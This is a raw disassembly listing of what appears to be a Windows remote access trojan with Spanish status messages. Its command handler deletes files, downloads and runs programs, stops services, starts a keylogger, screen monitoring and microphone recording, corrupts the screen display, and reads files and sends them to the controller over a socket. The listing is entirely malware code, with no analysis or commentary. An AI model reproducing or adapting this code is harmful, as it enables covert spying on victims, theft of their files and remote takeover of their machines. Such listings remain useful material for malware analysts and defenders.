call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov dword [esp], str.___No_se_pudo_eliminar_el_directorio__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___No_se_pudo_eliminar_el_directorio__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [0x42d208]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov dword [esp], str.___Directorio_removido_con_exito__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Directorio_removido_con_exito__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [0x42d208]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileA
sub esp, 4
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
call eax
sub esp, 4
test eax, eax
sete al
test al, al
je 0x4068f9
mov dword [esp], str.___Exito_al_borrar_archivo___metodo_FORCE__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Exito_al_borrar_archivo___metodo_FORCE__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x40693c
jmp 0x40794e
mov dword [esp], str.___Error_al_borrar_archivo_hasta_aplicando_el_metodo_FORCE__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Error_al_borrar_archivo_hasta_aplicando_el_metodo_FORCE__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x407941
mov dword [esp], str.___Error_al_borrar_archivo__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Error_al_borrar_archivo__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x406b62
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x66
jne 0x406b62
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x67
jne 0x406b62
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
add eax, 0x64
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
add eax, 0x64
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 3
jmp 0x406a8e
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x7c
je 0x406a40
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0xc4]
add edx, eax
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp + 8]
add eax, ecx
mov al, byte [eax]
mov byte [edx], al
inc dword [ebp - 0x50]
jmp 0x406a8b
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x7c
jne 0x406a8b
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, 0xfffffffc
sub eax, dword [ebp - 0x50]
add eax, edx
mov edx, dword [ebp - 0x54]
lea ecx, [edx + 1]
mov edx, dword [ebp + 8]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0xc8]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x406aaa
inc dword [ebp - 0x54]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp eax, dword [ebp - 0x54]
setge al
test al, al
jne 0x406a16
mov eax, dword [ebp - 0xc8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc4]
mov dword [esp], eax
call fcn.00401d6b
sub esp, 8
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0xc8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov eax, dword [ebp - 0xc4]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0xc8]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], str.___Archivo_descargado_y_ejecutado_con_exito__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Archivo_descargado_y_ejecutado_con_exito__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x406cac
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x65
jne 0x406cac
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x72
jne 0x406cac
mov dword [esp + 8], 0xf003f
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.ADVAPI32.DLL_OpenSCManagerA
sub esp, 0xc
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jne 0x406be2
mov eax, dword [ebp - 0xcc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CloseServiceHandle
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 8], 0xf01ff
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xcc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_OpenServiceA
sub esp, 0xc
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x406c2a
mov eax, dword [ebp - 0xd0]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CloseServiceHandle
sub esp, 4
jmp 0x40794e
lea eax, [ebp - 0x138]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xd0]
mov dword [esp], eax
call sub.ADVAPI32.DLL_ControlService
sub esp, 0xc
mov eax, dword [ebp - 0xd0]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CloseServiceHandle
sub esp, 4
mov eax, dword [ebp - 0xcc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CloseServiceHandle
sub esp, 4
mov dword [esp], str.___Se_ah_detenido_el_servicio_con_exito.__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Se_ah_detenido_el_servicio_con_exito.__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x76
jne 0x406ce6
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x78
jne 0x406ce6
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x78
jne 0x406ce6
call fcn.004095b1
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x64
jne 0x406d29
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x69
jne 0x406d29
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x7a
jne 0x406d29
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp], eax
call fcn.00408af7
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x66
jne 0x406d70
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x69
jne 0x406d70
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6c
jne 0x406d70
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004039d7
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x406e20
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x63
jne 0x406e20
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x72
jne 0x406e20
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 0xc], 3
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x14
call sub.USER32.dll_SystemParametersInfoA
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x407944
mov dword [esp], str.___Imagen_de_fondo_debe_ser_en_formato_BMP__no_se_pudo_establecer__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Imagen_de_fondo_debe_ser_en_formato_BMP__no_se_pudo_establecer__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jmp 0x407944
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6b
jne 0x406e9d
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6a
jne 0x406e9d
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x77
jne 0x406e9d
mov dword [esp], str.___Estableciendo_el_keylogger_en_tiempo_real__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Estableciendo_el_keylogger_en_tiempo_real__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x407947
call fcn.004037da
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x78
jne 0x406fad
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x406fad
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6d
jne 0x406fad
call sub.USER32.dll_GetDesktopWindow
mov dword [esp], eax
call sub.USER32.dll_GetWindowDC
sub esp, 4
mov dword [ebp - 0xd4], eax
mov ax, word [ebp - 0x13e]
movzx eax, ax
mov dword [ebp - 0xd8], eax
call sub.KERNEL32.dll_GetTickCount
mov dword [esp], eax
call sub.msvcrt.dll_srand
jmp 0x406f8a
lea eax, [ebp - 0x148]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
mov dword [esp], 1
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov ebx, eax
mov dword [esp], 0
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov edx, dword [ebp - 0xd4]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xd4]
mov dword [esp], eax
call sub.GDI32.dll_BitBlt
sub esp, 0x24
mov ax, word [ebp - 0x13e]
movzx eax, ax
mov edx, dword [ebp - 0xd8]
inc edx
cmp eax, edx
setle al
test al, al
jne 0x406f0e
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x78
jne 0x4070fa
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x4070fa
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x7a
jne 0x4070fa
call sub.USER32.dll_GetDesktopWindow
mov dword [esp], eax
call sub.USER32.dll_GetWindowDC
sub esp, 4
mov dword [ebp - 0xdc], eax
mov dword [esp], 0
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov dword [ebp - 0xe0], eax
mov dword [esp], 1
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov dword [ebp - 0xe4], eax
mov ax, word [ebp - 0x14e]
movzx eax, ax
mov dword [ebp - 0xe8], eax
call sub.KERNEL32.dll_GetTickCount
mov dword [esp], eax
call sub.msvcrt.dll_srand
jmp 0x4070d7
lea eax, [ebp - 0x158]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xe4]
mov edi, edx
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xe0]
mov esi, edx
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xe4]
mov ebx, edx
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xe0]
mov eax, edx
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov edx, dword [ebp - 0xdc]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xdc]
mov dword [esp], eax
call sub.GDI32.dll_BitBlt
sub esp, 0x24
mov ax, word [ebp - 0x14e]
movzx eax, ax
mov edx, dword [ebp - 0xe8]
inc edx
cmp eax, edx
setle al
test al, al
jne 0x40704b
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x78
jne 0x407235
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x61
jne 0x407235
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x63
jne 0x407235
call sub.USER32.dll_GetDesktopWindow
mov dword [esp], eax
call sub.USER32.dll_GetWindowDC
sub esp, 4
mov dword [ebp - 0xec], eax
mov dword [esp], 0
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov dword [ebp - 0xf0], eax
mov dword [esp], 1
call sub.USER32.dll_GetSystemMetrics
sub esp, 4
mov dword [ebp - 0xf4], eax
mov ax, word [ebp - 0x15e]
movzx eax, ax
mov dword [ebp - 0xf8], eax
call sub.KERNEL32.dll_GetTickCount
mov dword [esp], eax
call sub.msvcrt.dll_srand
jmp 0x407212
lea eax, [ebp - 0x168]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xf4]
mov dword [ebp - 0x5ec], edx
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xf0]
mov edi, edx
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xf4]
mov esi, edx
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0xf0]
mov ebx, edx
mov dword [esp], 0
call sub.USER32.dll_GetDC
sub esp, 4
mov edx, dword [ebp - 0x5ec]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edi
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.GDI32.dll_Ellipse
sub esp, 0x14
mov ax, word [ebp - 0x15e]
movzx eax, ax
mov edx, dword [ebp - 0xf8]
inc edx
cmp eax, edx
setle al
test al, al
jne 0x407195
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x40726f
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x73
jne 0x40726f
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x72
jne 0x40726f
call fcn.00403438
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x74
jne 0x4072ec
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6f
jne 0x4072ec
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x72
jne 0x4072ec
mov dword [esp], str.___Estableciendo_el_monitoreo_en_tiempo_real__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Estableciendo_el_monitoreo_en_tiempo_real__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x40794a
call fcn.00403096
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x78
jne 0x4073be
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x6c
jne 0x4073be
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x70
jne 0x4073be
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_CreateDirectoryA
sub esp, 8
test eax, eax
setne al
test al, al
je 0x407384
mov dword [esp], str.___Se_ah_creado_la_carpeta_con_exito__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Se_ah_creado_la_carpeta_con_exito__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x40794e
mov dword [esp], str.___No_se_ah_podido_crear_la_carpeta__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___No_se_ah_podido_crear_la_carpeta__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x72
jne 0x40755b
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x65
jne 0x40755b
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x63
jne 0x40755b
mov dword [esp], str.___Estableciendo_escucha_del_microfono__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Estableciendo_escucha_del_microfono__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
jne 0x40794d
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x58], 1
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 3]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x2a
jne 0x407545
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 4]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [ebp - 0x5c], 5
jmp 0x4074f8
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x1c]
add eax, edx
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x2b
je 0x4074ef
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x1c]
add eax, edx
mov edx, eax
mov eax, dword [ebp + 8]
add edx, eax
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0xfc]
add eax, ecx
mov dword [esp + 8], 1
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
inc dword [ebp - 0x58]
inc dword [ebp - 0x5c]
jmp 0x4074f8
mov dword [ebp - 0x58], 1
jmp 0x407512
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x1c]
add eax, edx
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x2b
setne al
test al, al
jne 0x4074a4
mov dword [ebp - 0x58], 1
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp], eax
call fcn.00404087
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x74
jne 0x407898
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x72
jne 0x407898
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x78
jne 0x407898
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x60], 0
jmp 0x407640
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
sub eax, dword [ebp - 0x60]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x5c
sete al
test al, al
je 0x40763d
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ebx, eax
mov eax, dword [ebp - 0x100]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ecx, ebx
sub ecx, eax
mov eax, ecx
mov ebx, eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
sub eax, dword [ebp - 0x60]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x100]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
jmp 0x40765c
inc dword [ebp - 0x60]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp eax, dword [ebp - 0x60]
setge al
test al, al
jne 0x4075c0
mov eax, dword [ebp + 8]
add eax, 3
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffff
jne 0x4076f7
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp], str.___Error_al_intentar_procesar_archivo__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Error_al_intentar_procesar_archivo__
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x40794e
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
inc eax
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x10c], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x16c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x108]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x100]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x108]
mov dword [esp + 8], eax
mov dword [esp + 4], str.archivo_d_s
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x374]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x374]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp], 0x19
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov edx, dword [ebp - 0x108]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x10c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x40783c
mov eax, dword [ebp - 0x10c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40794e
mov eax, dword [ebp - 0x10c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [ebp - 0x100]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], str.___Archivo_enviado_con_exito__
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.___Archivo_enviado_con_exito__
mov dword [esp], eax
call sub.WS2_32.dll_send
